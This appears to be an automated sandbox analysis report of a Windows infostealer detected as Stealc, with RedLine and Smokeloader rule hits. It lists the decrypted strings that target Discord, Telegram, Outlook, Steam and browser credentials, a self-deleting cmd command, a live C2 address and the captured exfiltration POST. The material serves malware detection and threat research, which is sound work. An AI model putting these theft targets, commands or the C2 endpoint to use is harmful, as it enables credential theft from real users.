Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: - GPU:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: User Agents:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Installed Apps:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: All Users:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Current User:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Process List:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: system_info.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: freebl3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: mozglue.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: msvcp140.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: nss3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: softokn3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Temp\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: .exe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: runas
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: open
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /c start
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %DESKTOP%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %APPDATA%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: %RECENT%
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.lnk
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: files
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \discord\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: key_datas
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: map*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Telegram
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Tox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.tox
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: *.ini
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Password
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000001
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000002
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000003
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: 00000004
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Pidgin
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \.purple\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: accounts.xml
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: token:
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: SteamPath
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \config\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ssfn*
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: config.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: loginusers.vdf
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Steam\
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: sqlite3.dll
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: browsers
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: done
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: soft
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: https
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: POST
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: HTTP/1.1
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: hwid
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: build
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: token
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: file_name
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: file
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: message
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.3.lxEu3xfjIb.exe.4920000.1.raw.unpack	String decryptor: screenshot.jpg

Uses Microsoft's Enhanced Cryptographic Provider

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419030 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00419030
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040C920 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,lstrcatA,	0_2_0040C920
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040A210 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0040A210
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004072A0 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_004072A0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040A2B0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0040A2B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484A477 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_0484A477
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04847507 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_04847507
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484A517 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_0484A517
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04859297 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_04859297
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484CB87 memset,lstrlen,CryptStringToBinaryA,memcpy,lstrcat,lstrcat,lstrcat,	0_2_0484CB87

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack

Uses 32bit PE files

Source: lxEu3xfjIb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0484E797
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0484F087
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484C0A7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484E177
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_04854357
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04854DC7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484DDE7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04853D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_04853D67
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04841977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04841977
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484FA17
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_04854A27

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 95.215.207.176:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://95.215.207.176/d8ddb681db736e16.php

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 95.215.207.176Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 33 30 45 44 38 43 45 33 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="hwid"5130ED8CE3B3476522507------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="build"LogsDiller------BGDAAKJJDAAKFHJKJKFC--

Internet Provider seen in connection with other malware

Source: Joe Sandbox View

ASN Name: ON-LINE-DATAServerlocation-NetherlandsDrontenNL ON-LINE-DATAServerlocation-NetherlandsDrontenNL

Suricata IDS alerts with low severity for network traffic

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49720
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:59725

Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176
Source: unknown	TCP traffic detected without corresponding DNS query: 95.215.207.176

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_004048D0 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlenA,lstrlenA,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_004048D0

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 95.215.207.176Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /d8ddb681db736e16.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 95.215.207.176Content-Length: 216Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 31 33 30 45 44 38 43 45 33 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="hwid"5130ED8CE3B3476522507------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="build"LogsDiller------BGDAAKJJDAAKFHJKJKFC--

Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/$
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php&
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.php:
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpH
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpS
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpV
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/d8ddb681db736e16.phpf
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://95.215.207.176/ws
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00409E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00409E30

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2288500521.0000000002C23000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown

Detected potential crypto function

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0487F4FF	0_2_0487F4FF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0487159F	0_2_0487159F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489A5FF	0_2_0489A5FF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048836EF	0_2_048836EF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048CA76F	0_2_048CA76F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048BA08F	0_2_048BA08F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048A8040	0_2_048A8040
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AA19F	0_2_048AA19F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489B1CF	0_2_0489B1CF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048711DF	0_2_048711DF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048882DF	0_2_048882DF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B134F	0_2_048B134F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B5C00	0_2_048B5C00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0489AD0F	0_2_0489AD0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AED3D	0_2_048AED3D
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048AFFEF	0_2_048AFFEF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048BC805	0_2_048BC805
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0486D9AB	0_2_0486D9AB
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048B9AAF	0_2_048B9AAF
